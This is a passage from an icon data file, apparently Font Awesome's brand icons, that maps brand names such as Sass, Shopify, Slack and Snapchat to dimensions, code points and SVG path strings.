54.1l-2.12-7.29c-.47-1.18-1.41-.71-1.41-.71-4.23 1.82-10.15 1.89-11.29 1.89-4.64 0-17.17-1.13-17.17-19.76 0-6.23 1.85-19.76 16.47-19.76a34.85 34.85 0 0 1 11.52 1.65s.94.47 1.18-.71c.94-2.59 1.64-4.47 2.59-7.53.23-.94-.47-1.17-.71-1.17-11.59-3.87-22.34-2.53-27.76 0-1.59.74-16.23 6.49-16.23 27.52 0 2.9-.58 30.11 28.94 30.11a44.45 44.45 0 0 0 15.52-2.83 1.3 1.3 0 0 0 .47-1.42zm53.87-39.52c-.8-3-5.37-16.23-22.35-16.23-16 0-23.52 10.11-25.64 18.59a38.58 38.58 0 0 0-1.65 11.76c0 25.87 18.84 29.4 29.88 29.4 10.82 0 16.46-2.35 18.58-3.76.47-.24.71-.71.24-1.88l-2.36-6.83a1.26 1.26 0 0 0-1.41-.7c-2.59.94-6.35 2.82-15.29 2.82-17.42 0-16.85-14.74-16.93-16.7h37.16a1.25 1.25 0 0 0 1.18-.94c-.24-.01.94-7.07-1.41-15.54zm-23.29-6.35c-10.33 0-13 9-13.64 14.12H546c-.88-11.92-7.62-14.13-12.73-14.13z"],
	"sass": [640, 512, [], "f41e", "M301.84 378.92c-.3.6-.6 1.08 0 0zm249.13-87a131.16 131.16 0 0 0-58 13.5c-5.9-11.9-12-22.3-13-30.1-1.2-9.1-2.5-14.5-1.1-25.3s7.7-26.1 7.6-27.2-1.4-6.6-14.3-6.7-24 2.5-25.29 5.9a122.83 122.83 0 0 0-5.3 19.1c-2.3 11.7-25.79 53.5-39.09 75.3-4.4-8.5-8.1-16-8.9-22-1.2-9.1-2.5-14.5-1.1-25.3s7.7-26.1 7.6-27.2-1.4-6.6-14.29-6.7-24 2.5-25.3 5.9-2.7 11.4-5.3 19.1-33.89 77.3-42.08 95.4c-4.2 9.2-7.8 16.6-10.4 21.6-.4.8-.7 1.3-.9 1.7.3-.5.5-1 .5-.8-2.2 4.3-3.5 6.7-3.5 6.7v.1c-1.7 3.2-3.6 6.1-4.5 6.1-.6 0-1.9-8.4.3-19.9 4.7-24.2 15.8-61.8 15.7-63.1-.1-.7 2.1-7.2-7.3-10.7-9.1-3.3-12.4 2.2-13.2 2.2s-1.4 2-1.4 2 10.1-42.4-19.39-42.4c-18.4 0-44 20.2-56.58 38.5-7.9 4.3-25 13.6-43 23.5-6.9 3.8-14 7.7-20.7 11.4-.5-.5-.9-1-1.4-1.5-35.79-38.2-101.87-65.2-99.07-116.5 1-18.7 7.5-67.8 127.07-127.4 98-48.8 176.35-35.4 189.84-5.6 19.4 42.5-41.89 121.6-143.66 133-38.79 4.3-59.18-10.7-64.28-16.3-5.3-5.9-6.1-6.2-8.1-5.1-3.3 1.8-1.2 7 0 10.1 3 7.9 15.5 21.9 36.79 28.9 18.7 6.1 64.18 9.5 119.17-11.8 61.78-23.8 109.87-90.1 95.77-145.6C386.52 18.32 293-.18 204.57 31.22c-52.69 18.7-109.67 48.1-150.66 86.4-48.69 45.6-56.48 85.3-53.28 101.9 11.39 58.9 92.57 97.3 125.06 125.7-1.6.9-3.1 1.7-4.5 2.5-16.29 8.1-78.18 40.5-93.67 74.7-17.5 38.8 2.9 66.6 16.29 70.4 41.79 11.6 84.58-9.3 107.57-43.6s20.2-79.1 9.6-99.5c-.1-.3-.3-.5-.4-.8 4.2-2.5 8.5-5 12.8-7.5 8.29-4.9 16.39-9.4 23.49-13.3-4 10.8-6.9 23.8-8.4 42.6-1.8 22 7.3 50.5 19.1 61.7 5.2 4.9 11.49 5 15.39 5 13.8 0 20-11.4 26.89-25 8.5-16.6 16-35.9 16-35.9s-9.4 52.2 16.3 52.2c9.39 0 18.79-12.1 23-18.3v.1s.2-.4.7-1.2c1-1.5 1.5-2.4 1.5-2.4v-.3c3.8-6.5 12.1-21.4 24.59-46 16.2-31.8 31.69-71.5 31.69-71.5a201.24 201.24 0 0 0 6.2 25.8c2.8 9.5 8.7 19.9 13.4 30-3.8 5.2-6.1 8.2-6.1 8.2a.31.31 0 0 0 .1.2c-3 4-6.4 8.3-9.9 12.5-12.79 15.2-28 32.6-30 37.6-2.4 5.9-1.8 10.3 2.8 13.7 3.4 2.6 9.4 3 15.69 2.5 11.5-.8 19.6-3.6 23.5-5.4a82.2 82.2 0 0 0 20.19-10.6c12.5-9.2 20.1-22.4 19.4-39.8-.4-9.6-3.5-19.2-7.3-28.2 1.1-1.6 2.3-3.3 3.4-5C434.8 301.72 450.1 270 450.1 270a201.24 201.24 0 0 0 6.2 25.8c2.4 8.1 7.09 17 11.39 25.7-18.59 15.1-30.09 32.6-34.09 44.1-7.4 21.3-1.6 30.9 9.3 33.1 4.9 1 11.9-1.3 17.1-3.5a79.46 79.46 0 0 0 21.59-11.1c12.5-9.2 24.59-22.1 23.79-39.6-.3-7.9-2.5-15.8-5.4-23.4 15.7-6.6 36.09-10.2 62.09-7.2 55.68 6.5 66.58 41.3 64.48 55.8s-13.8 22.6-17.7 25-5.1 3.3-4.8 5.1c.5 2.6 2.3 2.5 5.6 1.9 4.6-.8 29.19-11.8 30.29-38.7 1.6-34-31.09-71.4-89-71.1zm-429.18 144.7c-18.39 20.1-44.19 27.7-55.28 21.3C54.61 451 59.31 421.42 82 400c13.8-13 31.59-25 43.39-32.4 2.7-1.6 6.6-4 11.4-6.9.8-.5 1.2-.7 1.2-.7.9-.6 1.9-1.1 2.9-1.7 8.29 30.4.3 57.2-19.1 78.3zm134.36-91.4c-6.4 15.7-19.89 55.7-28.09 53.6-7-1.8-11.3-32.3-1.4-62.3 5-15.1 15.6-33.1 21.9-40.1 10.09-11.3 21.19-14.9 23.79-10.4 3.5 5.9-12.2 49.4-16.2 59.2zm111 53c-2.7 1.4-5.2 2.3-6.4 1.6-.9-.5 1.1-2.4 1.1-2.4s13.9-14.9 19.4-21.7c3.2-4 6.9-8.7 10.89-13.9 0 .5.1 1 .1 1.6-.13 17.9-17.32 30-25.12 34.8zm85.58-19.5c-2-1.4-1.7-6.1 5-20.7 2.6-5.7 8.59-15.3 19-24.5a36.18 36.18 0 0 1 1.9 10.8c-.1 22.5-16.2 30.9-25.89 34.4z"],
	"schlix": [448, 512, [], "f3ea", "M350.5 157.7l-54.2-46.1 73.4-39 78.3 44.2-97.5 40.9zM192 122.1l45.7-28.2 34.7 34.6-55.4 29-25-35.4zm-65.1 6.6l31.9-22.1L176 135l-36.7 22.5-12.4-28.8zm-23.3 88.2l-8.8-34.8 29.6-18.3 13.1 35.3-33.9 17.8zm-21.2-83.7l23.9-18.1 8.9 24-26.7 18.3-6.1-24.2zM59 206.5l-3.6-28.4 22.3-15.5 6.1 28.7L59 206.5zm-30.6 16.6l20.8-12.8 3.3 33.4-22.9 12-1.2-32.6zM1.4 268l19.2-10.2.4 38.2-21 8.8L1.4 268zm59.1 59.3l-28.3 8.3-1.6-46.8 25.1-10.7 4.8 49.2zM99 263.2l-31.1 13-5.2-40.8L90.1 221l8.9 42.2zM123.2 377l-41.6 5.9-8.1-63.5 35.2-10.8 14.5 68.4zm28.5-139.9l21.2 57.1-46.2 13.6-13.7-54.1 38.7-16.6zm85.7 230.5l-70.9-3.3-24.3-95.8 55.2-8.6 40 107.7zm-84.9-279.7l42.2-22.4 28 45.9-50.8 21.3-19.4-44.8zm41 94.9l61.3-18.7 52.8 86.6-79.8 11.3-34.3-79.2zm51.4-85.6l67.3-28.8 65.5 65.4-88.6 26.2-44.2-62.8z"],
	"scribd": [384, 512, [], "f28a", "M42.3 252.7c-16.1-19-24.7-45.9-24.8-79.9 0-100.4 75.2-153.1 167.2-153.1 98.6-1.6 156.8 49 184.3 70.6l-50.5 72.1-37.3-24.6 26.9-38.6c-36.5-24-79.4-36.5-123-35.8-50.7-.8-111.7 27.2-111.7 76.2 0 18.7 11.2 20.7 28.6 15.6 23.3-5.3 41.9.6 55.8 14 26.4 24.3 23.2 67.6-.7 91.9-29.2 29.5-85.2 27.3-114.8-8.4zm317.7 5.9c-15.5-18.8-38.9-29.4-63.2-28.6-38.1-2-71.1 28-70.5 67.2-.7 16.8 6 33 18.4 44.3 14.1 13.9 33 19.7 56.3 14.4 17.4-5.1 28.6-3.1 28.6 15.6 0 4.3-.5 8.5-1.4 12.7-16.7 40.9-59.5 64.4-121.4 64.4-51.9.2-102.4-16.4-144.1-47.3l33.7-39.4-35.6-27.4L0 406.3l15.4 13.8c52.5 46.8 120.4 72.5 190.7 72.2 51.4 0 94.4-10.5 133.6-44.1 57.1-51.4 54.2-149.2 20.3-189.6z"],
	"searchengin": [460, 512, [], "f3eb", "M220.6 130.3l-67.2 28.2V43.2L98.7 233.5l54.7-24.2v130.3l67.2-209.3zm-83.2-96.7l-1.3 4.7-15.2 52.9C80.6 106.7 52 145.8 52 191.5c0 52.3 34.3 95.9 83.4 105.5v53.6C57.5 340.1 0 272.4 0 191.6c0-80.5 59.8-147.2 137.4-158zm311.4 447.2c-11.2 11.2-23.1 12.3-28.6 10.5-5.4-1.8-27.1-19.9-60.4-44.4-33.3-24.6-33.6-35.7-43-56.7-9.4-20.9-30.4-42.6-57.5-52.4l-9.7-14.7c-24.7 16.9-53 26.9-81.3 28.7l2.1-6.6 15.9-49.5c46.5-11.9 80.9-54 80.9-104.2 0-54.5-38.4-102.1-96-107.1V32.3C254.4 37.4 320 106.8 320 191.6c0 33.6-11.2 64.7-29 90.4l14.6 9.6c9.8 27.1 31.5 48 52.4 57.4s32.2 9.7 56.8 43c24.6 33.2 42.7 54.9 44.5 60.3s.7 17.3-10.5 28.5zm-9.9-17.9c0-4.4-3.6-8-8-8s-8 3.6-8 8 3.6 8 8 8 8-3.6 8-8z"],
	"sellcast": [448, 512, [], "f2da", "M353.4 32H94.7C42.6 32 0 74.6 0 126.6v258.7C0 437.4 42.6 480 94.7 480h258.7c52.1 0 94.7-42.6 94.7-94.6V126.6c0-52-42.6-94.6-94.7-94.6zm-50 316.4c-27.9 48.2-89.9 64.9-138.2 37.2-22.9 39.8-54.9 8.6-42.3-13.2l15.7-27.2c5.9-10.3 19.2-13.9 29.5-7.9 18.6 10.8-.1-.1 18.5 10.7 27.6 15.9 63.4 6.3 79.4-21.3 15.9-27.6 6.3-63.4-21.3-79.4-17.8-10.2-.6-.4-18.6-10.6-24.6-14.2-3.4-51.9 21.6-37.5 18.6 10.8-.1-.1 18.5 10.7 48.4 28 65.1 90.3 37.2 138.5zm21.8-208.8c-17 29.5-16.3 28.8-19 31.5-6.5 6.5-16.3 8.7-26.5 3.6-18.6-10.8.1.1-18.5-10.7-27.6-15.9-63.4-6.3-79.4 21.3s-6.3 63.4 21.3 79.4c0 0 18.5 10.6 18.6 10.6 24.6 14.2 3.4 51.9-21.6 37.5-18.6-10.8.1.1-18.5-10.7-48.2-27.8-64.9-90.1-37.1-138.4 27.9-48.2 89.9-64.9 138.2-37.2l4.8-8.4c14.3-24.9 52-3.3 37.7 21.5z"],
	"sellsy": [640, 512, [], "f213", "M539.71 237.308c3.064-12.257 4.29-24.821 4.29-37.384C544 107.382 468.618 32 376.076 32c-77.22 0-144.634 53.012-163.02 127.781-15.322-13.176-34.934-20.53-55.157-20.53-46.271 0-83.962 37.69-83.962 83.961 0 7.354.92 15.015 3.065 22.369-42.9 20.225-70.785 63.738-70.785 111.234C6.216 424.843 61.68 480 129.401 480h381.198c67.72 0 123.184-55.157 123.184-123.184.001-56.384-38.916-106.025-94.073-119.508zM199.88 401.554c0 8.274-7.048 15.321-15.321 15.321H153.61c-8.274 0-15.321-7.048-15.321-15.321V290.626c0-8.273 7.048-15.321 15.321-15.321h30.949c8.274 0 15.321 7.048 15.321 15.321v110.928zm89.477 0c0 8.274-7.048 15.321-15.322 15.321h-30.949c-8.274 0-15.321-7.048-15.321-15.321V270.096c0-8.274 7.048-15.321 15.321-15.321h30.949c8.274 0 15.322 7.048 15.322 15.321v131.458zm89.477 0c0 8.274-7.047 15.321-15.321 15.321h-30.949c-8.274 0-15.322-7.048-15.322-15.321V238.84c0-8.274 7.048-15.321 15.322-15.321h30.949c8.274 0 15.321 7.048 15.321 15.321v162.714zm87.027 0c0 8.274-7.048 15.321-15.322 15.321h-28.497c-8.274 0-15.321-7.048-15.321-15.321V176.941c0-8.579 7.047-15.628 15.321-15.628h28.497c8.274 0 15.322 7.048 15.322 15.628v224.613z"],
	"servicestack": [496, 512, [], "f3ec", "M88 216c81.7 10.2 273.7 102.3 304 232H0c99.5-8.1 184.5-137 88-232zm32-152c32.3 35.6 47.7 83.9 46.4 133.6C249.3 231.3 373.7 321.3 400 448h96C455.3 231.9 222.8 79.5 120 64z"],
	"shirtsinbulk": [448, 512, [], "f214", "M100 410.3l30.6 13.4 4.4-9.9-30.6-13.4zm39.4 17.5l30.6 13.4 4.4-9.9-30.6-13.4zm172.1-14l4.4 9.9 30.6-13.4-4.4-9.9zM179.1 445l30.3 13.7 4.4-9.9-30.3-13.4zM60.4 392.8L91 406.2l4.4-9.6-30.6-13.7zm211.4 38.5l4.4 9.9 30.6-13.4-4.4-9.9zm-39.3 17.5l4.4 9.9 30.6-13.7-4.4-9.6zm118.4-52.2l4.4 9.6 30.6-13.4-4.4-9.9zM170 46.6h-33.5v10.5H170zm-47.2 0H89.2v10.5h33.5zm-47.3 0H42.3v10.5h33.3zm141.5 0h-33.2v10.5H217zm94.5 0H278v10.5h33.5zm47.3 0h-33.5v10.5h33.5zm-94.6 0H231v10.5h33.2zm141.5 0h-33.3v10.5h33.3zM52.8 351.1H42v33.5h10.8zm70-215.9H89.2v10.5h33.5zm-70 10.6h22.8v-10.5H42v33.5h10.8zm168.9 228.6c50.5 0 91.3-40.8 91.3-91.3 0-50.2-40.8-91.3-91.3-91.3-50.2 0-91.3 41.1-91.3 91.3 0 50.5 41.1 91.3 91.3 91.3zm-48.2-111.1c0-25.4 29.5-31.8 49.6-31.8 16.9 0 29.2 5.8 44.3 12l-8.8 16.9h-.9c-6.4-9.9-24.8-13.1-35.6-13.1-9 0-29.8 1.8-29.8 14.9 0 21.6 78.5-10.2 78.5 37.9 0 25.4-31.5 31.2-51 31.2-18.1 0-32.4-2.9-47.2-12.2l9-18.4h.9c6.1 12.2 23.6 14.9 35.9 14.9 8.7 0 32.7-1.2 32.7-14.3 0-26.1-77.6 6.3-77.6-38zM52.8 178.4H42V212h10.8zm342.4 206.2H406v-33.5h-10.8zM52.8 307.9H42v33.5h10.8zM0 3.7v406l221.7 98.6L448 409.7V3.7zm418.8 387.1L222 476.5 29.2 390.8V120.7h389.7v270.1zm0-299.3H29.2V32.9h389.7v58.6zm-366 130.1H42v33.5h10.8zm0 43.2H42v33.5h10.8zM170 135.2h-33.5v10.5H170zm225.2 163.1H406v-33.5h-10.8zm0-43.2H406v-33.5h-10.8zM217 135.2h-33.2v10.5H217zM395.2 212H406v-33.5h-10.8zm0 129.5H406V308h-10.8zm-131-206.3H231v10.5h33.2zm47.3 0H278v10.5h33.5zm83.7 33.6H406v-33.5h-33.5v10.5h22.8zm-36.4-33.6h-33.5v10.5h33.5z"],
	"shopify": [448, 512, [], "e057", "M388.32,104.1a4.66,4.66,0,0,0-4.4-4c-2,0-37.23-.8-37.23-.8s-21.61-20.82-29.62-28.83V503.2L442.76,472S388.72,106.5,388.32,104.1ZM288.65,70.47a116.67,116.67,0,0,0-7.21-17.61C271,32.85,255.42,22,237,22a15,15,0,0,0-4,.4c-.4-.8-1.2-1.2-1.6-2C223.4,11.63,213,7.63,200.58,8c-24,.8-48,18-67.25,48.83-13.61,21.62-24,48.84-26.82,70.06-27.62,8.4-46.83,14.41-47.23,14.81-14,4.4-14.41,4.8-16,18-1.2,10-38,291.82-38,291.82L307.86,504V65.67a41.66,41.66,0,0,0-4.4.4S297.86,67.67,288.65,70.47ZM233.41,87.69c-16,4.8-33.63,10.4-50.84,15.61,4.8-18.82,14.41-37.63,25.62-50,4.4-4.4,10.41-9.61,17.21-12.81C232.21,54.86,233.81,74.48,233.41,87.69ZM200.58,24.44A27.49,27.49,0,0,1,215,28c-6.4,3.2-12.81,8.41-18.81,14.41-15.21,16.42-26.82,42-31.62,66.45-14.42,4.41-28.83,8.81-42,12.81C131.33,83.28,163.75,25.24,200.58,24.44ZM154.15,244.61c1.6,25.61,69.25,31.22,73.25,91.66,2.8,47.64-25.22,80.06-65.65,82.47-48.83,3.2-75.65-25.62-75.65-25.62l10.4-44s26.82,20.42,48.44,18.82c14-.8,19.22-12.41,18.81-20.42-2-33.62-57.24-31.62-60.84-86.86-3.2-46.44,27.22-93.27,94.47-97.68,26-1.6,39.23,4.81,39.23,4.81L221.4,225.39s-17.21-8-37.63-6.4C154.15,221,153.75,239.8,154.15,244.61ZM249.42,82.88c0-12-1.6-29.22-7.21-43.63,18.42,3.6,27.22,24,31.23,36.43Q262.63,78.68,249.42,82.88Z"],
	"shopware": [512, 512, [], "f5b5", "M403.5 455.41A246.17 246.17 0 0 1 256 504C118.81 504 8 393 8 256 8 118.81 119 8 256 8a247.39 247.39 0 0 1 165.7 63.5 3.57 3.57 0 0 1-2.86 6.18A418.62 418.62 0 0 0 362.13 74c-129.36 0-222.4 53.47-222.4 155.35 0 109 92.13 145.88 176.83 178.73 33.64 13 65.4 25.36 87 41.59a3.58 3.58 0 0 1 0 5.72zM503 233.09a3.64 3.64 0 0 0-1.27-2.44c-51.76-43-93.62-60.48-144.48-60.48-84.13 0-80.25 52.17-80.25 53.63 0 42.6 52.06 62 112.34 84.49 31.07 11.59 63.19 23.57 92.68 39.93a3.57 3.57 0 0 0 5-1.82A249 249 0 0 0 503 233.09z"],
	"simplybuilt": [512, 512, [], "f215", "M481.2 64h-106c-14.5 0-26.6 11.8-26.6 26.3v39.6H163.3V90.3c0-14.5-12-26.3-26.6-26.3h-106C16.1 64 4.3 75.8 4.3 90.3v331.4c0 14.5 11.8 26.3 26.6 26.3h450.4c14.8 0 26.6-11.8 26.6-26.3V90.3c-.2-14.5-12-26.3-26.7-26.3zM149.8 355.8c-36.6 0-66.4-29.7-66.4-66.4 0-36.9 29.7-66.6 66.4-66.6 36.9 0 66.6 29.7 66.6 66.6 0 36.7-29.7 66.4-66.6 66.4zm212.4 0c-36.9 0-66.6-29.7-66.6-66.6 0-36.6 29.7-66.4 66.6-66.4 36.6 0 66.4 29.7 66.4 66.4 0 36.9-29.8 66.6-66.4 66.6z"],
	"sistrix": [448, 512, [], "f3ee", "M448 449L301.2 300.2c20-27.9 31.9-62.2 31.9-99.2 0-93.1-74.7-168.9-166.5-168.9C74.7 32 0 107.8 0 200.9s74.7 168.9 166.5 168.9c39.8 0 76.3-14.2 105-37.9l146 148.1 30.5-31zM166.5 330.8c-70.6 0-128.1-58.3-128.1-129.9S95.9 71 166.5 71s128.1 58.3 128.1 129.9-57.4 129.9-128.1 129.9z"],
	"sith": [448, 512, [], "f512", "M0 32l69.71 118.75-58.86-11.52 69.84 91.03a146.741 146.741 0 0 0 0 51.45l-69.84 91.03 58.86-11.52L0 480l118.75-69.71-11.52 58.86 91.03-69.84c17.02 3.04 34.47 3.04 51.48 0l91.03 69.84-11.52-58.86L448 480l-69.71-118.78 58.86 11.52-69.84-91.03c3.03-17.01 3.04-34.44 0-51.45l69.84-91.03-58.86 11.52L448 32l-118.75 69.71 11.52-58.9-91.06 69.87c-8.5-1.52-17.1-2.29-25.71-2.29s-17.21.78-25.71 2.29l-91.06-69.87 11.52 58.9L0 32zm224 99.78c31.8 0 63.6 12.12 87.85 36.37 48.5 48.5 48.49 127.21 0 175.7s-127.2 48.46-175.7-.03c-48.5-48.5-48.49-127.21 0-175.7 24.24-24.25 56.05-36.34 87.85-36.34zm0 36.66c-22.42 0-44.83 8.52-61.92 25.61-34.18 34.18-34.19 89.68 0 123.87s89.65 34.18 123.84 0c34.18-34.18 34.19-89.68 0-123.87-17.09-17.09-39.5-25.61-61.92-25.61z"],
	"sketch": [512, 512, [], "f7c6", "M27.5 162.2L9 187.1h90.5l6.9-130.7-78.9 105.8zM396.3 45.7L267.7 32l135.7 147.2-7.1-133.5zM112.2 218.3l-11.2-22H9.9L234.8 458zm2-31.2h284l-81.5-88.5L256.3 33zm297.3 9.1L277.6 458l224.8-261.7h-90.9zM415.4 69L406 56.4l.9 17.3 6.1 113.4h90.3zM113.5 93.5l-4.6 85.6L244.7 32 116.1 45.7zm287.7 102.7h-290l42.4 82.9L256.3 480l144.9-283.8z"],
	"skyatlas": [640, 512, [], "f216", "M640 329.3c0 65.9-52.5 114.4-117.5 114.4-165.9 0-196.6-249.7-359.7-249.7-146.9 0-147.1 212.2 5.6 212.2 42.5 0 90.9-17.8 125.3-42.5 5.6-4.1 16.9-16.3 22.8-16.3s10.9 5 10.9 10.9c0 7.8-13.1 19.1-18.7 24.1-40.9 35.6-100.3 61.2-154.7 61.2-83.4.1-154-59-154-144.9s67.5-149.1 152.8-149.1c185.3 0 222.5 245.9 361.9 245.9 99.9 0 94.8-139.7 3.4-139.7-17.5 0-35 11.6-46.9 11.6-8.4 0-15.9-7.2-15.9-15.6 0-11.6 5.3-23.7 5.3-36.3 0-66.6-50.9-114.7-116.9-114.7-53.1 0-80 36.9-88.8 36.9-6.2 0-11.2-5-11.2-11.2 0-5.6 4.1-10.3 7.8-14.4 25.3-28.8 64.7-43.7 102.8-43.7 79.4 0 139.1 58.4 139.1 137.8 0 6.9-.3 13.7-1.2 20.6 11.9-3.1 24.1-4.7 35.9-4.7 60.7 0 111.9 45.3 111.9 107.2z"],
	"skype": [448, 512, [], "f17e", "M424.7 299.8c2.9-14 4.7-28.9 4.7-43.8 0-113.5-91.9-205.3-205.3-205.3-14.9 0-29.7 1.7-43.8 4.7C161.3 40.7 137.7 32 112 32 50.2 32 0 82.2 0 144c0 25.7 8.7 49.3 23.3 68.2-2.9 14-4.7 28.9-4.7 43.8 0 113.5 91.9 205.3 205.3 205.3 14.9 0 29.7-1.7 43.8-4.7 19 14.6 42.6 23.3 68.2 23.3 61.8 0 112-50.2 112-112 .1-25.6-8.6-49.2-23.2-68.1zm-194.6 91.5c-65.6 0-120.5-29.2-120.5-65 0-16 9-30.6 29.5-30.6 31.2 0 34.1 44.9 88.1 44.9 25.7 0 42.3-11.4 42.3-26.3 0-18.7-16-21.6-42-28-62.5-15.4-117.8-22-117.8-87.2 0-59.2 58.6-81.1 109.1-81.1 55.1 0 110.8 21.9 110.8 55.4 0 16.9-11.4 31.8-30.3 31.8-28.3 0-29.2-33.5-75-33.5-25.7 0-42 7-42 22.5 0 19.8 20.8 21.8 69.1 33 41.4 9.3 90.7 26.8 90.7 77.6 0 59.1-57.1 86.5-112 86.5z"],
	"slack": [448, 512, [], "f198", "M94.12 315.1c0 25.9-21.16 47.06-47.06 47.06S0 341 0 315.1c0-25.9 21.16-47.06 47.06-47.06h47.06v47.06zm23.72 0c0-25.9 21.16-47.06 47.06-47.06s47.06 21.16 47.06 47.06v117.84c0 25.9-21.16 47.06-47.06 47.06s-47.06-21.16-47.06-47.06V315.1zm47.06-188.98c-25.9 0-47.06-21.16-47.06-47.06S139 32 164.9 32s47.06 21.16 47.06 47.06v47.06H164.9zm0 23.72c25.9 0 47.06 21.16 47.06 47.06s-21.16 47.06-47.06 47.06H47.06C21.16 243.96 0 222.8 0 196.9s21.16-47.06 47.06-47.06H164.9zm188.98 47.06c0-25.9 21.16-47.06 47.06-47.06 25.9 0 47.06 21.16 47.06 47.06s-21.16 47.06-47.06 47.06h-47.06V196.9zm-23.72 0c0 25.9-21.16 47.06-47.06 47.06-25.9 0-47.06-21.16-47.06-47.06V79.06c0-25.9 21.16-47.06 47.06-47.06 25.9 0 47.06 21.16 47.06 47.06V196.9zM283.1 385.88c25.9 0 47.06 21.16 47.06 47.06 0 25.9-21.16 47.06-47.06 47.06-25.9 0-47.06-21.16-47.06-47.06v-47.06h47.06zm0-23.72c-25.9 0-47.06-21.16-47.06-47.06 0-25.9 21.16-47.06 47.06-47.06h117.84c25.9 0 47.06 21.16 47.06 47.06 0 25.9-21.16 47.06-47.06 47.06H283.1z"],
	"slack-hash": [448, 512, [], "f3ef", "M446.2 270.4c-6.2-19-26.9-29.1-46-22.9l-45.4 15.1-30.3-90 45.4-15.1c19.1-6.2 29.1-26.8 23-45.9-6.2-19-26.9-29.1-46-22.9l-45.4 15.1-15.7-47c-6.2-19-26.9-29.1-46-22.9-19.1 6.2-29.1 26.8-23 45.9l15.7 47-93.4 31.2-15.7-47c-6.2-19-26.9-29.1-46-22.9-19.1 6.2-29.1 26.8-23 45.9l15.7 47-45.3 15c-19.1 6.2-29.1 26.8-23 45.9 5 14.5 19.1 24 33.6 24.6 6.8 1 12-1.6 57.7-16.8l30.3 90L78 354.8c-19 6.2-29.1 26.9-23 45.9 5 14.5 19.1 24 33.6 24.6 6.8 1 12-1.6 57.7-16.8l15.7 47c5.9 16.9 24.7 29 46 22.9 19.1-6.2 29.1-26.8 23-45.9l-15.7-47 93.6-31.3 15.7 47c5.9 16.9 24.7 29 46 22.9 19.1-6.2 29.1-26.8 23-45.9l-15.7-47 45.4-15.1c19-6 29.1-26.7 22.9-45.7zm-254.1 47.2l-30.3-90.2 93.5-31.3 30.3 90.2-93.5 31.3z"],
	"slideshare": [512, 512, [], "f1e7", "M187.7 153.7c-34 0-61.7 25.7-61.7 57.7 0 31.7 27.7 57.7 61.7 57.7s61.7-26 61.7-57.7c0-32-27.7-57.7-61.7-57.7zm143.4 0c-34 0-61.7 25.7-61.7 57.7 0 31.7 27.7 57.7 61.7 57.7 34.3 0 61.7-26 61.7-57.7.1-32-27.4-57.7-61.7-57.7zm156.6 90l-6 4.3V49.7c0-27.4-20.6-49.7-46-49.7H76.6c-25.4 0-46 22.3-46 49.7V248c-2-1.4-4.3-2.9-6.3-4.3-15.1-10.6-25.1 4-16 17.7 18.3 22.6 53.1 50.3 106.3 72C58.3 525.1 252 555.7 248.9 457.5c0-.7.3-56.6.3-96.6 5.1 1.1 9.4 2.3 13.7 3.1 0 39.7.3 92.8.3 93.5-3.1 98.3 190.6 67.7 134.3-124 53.1-21.7 88-49.4 106.3-72 9.1-13.8-.9-28.3-16.1-17.8zm-30.5 19.2c-68.9 37.4-128.3 31.1-160.6 29.7-23.7-.9-32.6 9.1-33.7 24.9-10.3-7.7-18.6-15.5-20.3-17.1-5.1-5.4-13.7-8-27.1-7.7-31.7 1.1-89.7 7.4-157.4-28V72.3c0-34.9 8.9-45.7 40.6-45.7h317.7c30.3 0 40.9 12.9 40.9 45.7v190.6z"],
	"snapchat": [496, 512, [], "f2ab", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm169.5 338.9c-3.5 8.1-18.1 14-44.8 18.2-1.4 1.9-2.5 9.8-4.3 15.9-1.1 3.7-3.7 5.9-8.1 5.9h-.2c-6.2 0-12.8-2.9-25.8-2.9-17.6 0-23.7 4-37.4 13.7-14.5 10.3-28.4 19.1-49.2 18.2-21 1.6-38.6-11.2-48.5-18.2-13.8-9.7-19.8-13.7-37.4-13.7-12.5 0-20.4 3.1-25.8 3.1-5.4 0-7.5-3.3-8.3-6-1.8-6.1-2.9-14.1-4.3-16-13.8-2.1-44.8-7.5-45.5-21.4-.2-3.6 2.3-6.8 5.9-7.4 46.3-7.6 67.1-55.1 68-57.1 0-.1.1-.2.2-.3 2.5-5 3-9.2 1.6-12.5-3.4-7.9-17.9-10.7-24-13.2-15.8-6.2-18-13.4-17-18.3 1.6-8.5 14.4-13.8 21.9-10.3 5.9 2.8 11.2 4.2 15.7 4.2 3.3 0 5.5-.8 6.6-1.4-1.4-23.9-4.7-58 3.8-77.1C183.1 100 230.7 96 244.7 96c.6 0 6.1-.1 6.7-.1 34.7 0 68 17.8 84.3 54.3 8.5 19.1 5.2 53.1 3.8 77.1 1.1.6 2.9 1.3 5.7 1.4 4.3-.2 9.2-1.6 14.7-4.2 4-1.9 9.6-1.6 13.6 0 6.3 2.3 10.3 6.8 10.4 11.9.1 6.5-5.7 12.1-17.2 16.6-1.4.6-3.1 1.1-4.9 1.7-6.5 2.1-16.4 5.2-19 11.5-1.4 3.3-.8 7.5 1.6 12.5.1.1.1.2.2.3.9 2 21.7 49.5 68 57.1 4 1 7.1 5.5 4.9 10.8z"],
	"snapchat-ghost": [512, 512, [], "f2ac", "M510.846 392.673c-5.211 12.157-27.239 21.089-67.36 27.318-2.064 2.786-3.775 14.686-6.507 23.956-1.625 5.566-5.623 8.869-12.128 8.869l-.297-.005c-9.395 0-19.203-4.323-38.852-4.323-26.521 0-35.662 6.043-56.254 20.588-21.832 15.438-42.771 28.764-74.027 27.399-31.646 2.334-58.025-16.908-72.871-27.404-20.714-14.643-29.828-20.582-56.241-20.582-18.864 0-30.736 4.72-38.852 4.72-8.073 0-11.213-4.922-12.422-9.04-2.703-9.189-4.404-21.263-6.523-24.13-20.679-3.209-67.31-11.344-68.498-32.15a10.627 10.627 0 0 1 8.877-11.069c69.583-11.455 100.924-82.901 102.227-85.934.074-.176.155-.344.237-.515 3.713-7.537 4.544-13.849 2.463-18.753-5.05-11.896-26.872-16.164-36.053-19.796-23.715-9.366-27.015-20.128-25.612-27.504 2.437-12.836 21.725-20.735 33.002-15.453 8.919 4.181 16.843 6.297 23.547 6.297 5.022 0 8.212-1.204 9.96-2.171-2.043-35.936-7.101-87.29 5.687-115.969C158.122 21.304 229.705 15.42 250.826 15.42c.944 0 9.141-.089 10.11-.089 52.148 0 102.254 26.78 126.723 81.643 12.777 28.65 7.749 79.792 5.695 116.009 1.582.872 4.357 1.942 8.599 2.139 6.397-.286 13.815-2.389 22.069-6.257 6.085-2.846 14.406-2.461 20.48.058l.029.01c9.476 3.385 15.439 10.215 15.589 17.87.184 9.747-8.522 18.165-25.878 25.018-2.118.835-4.694 1.655-7.434 2.525-9.797 3.106-24.6 7.805-28.616 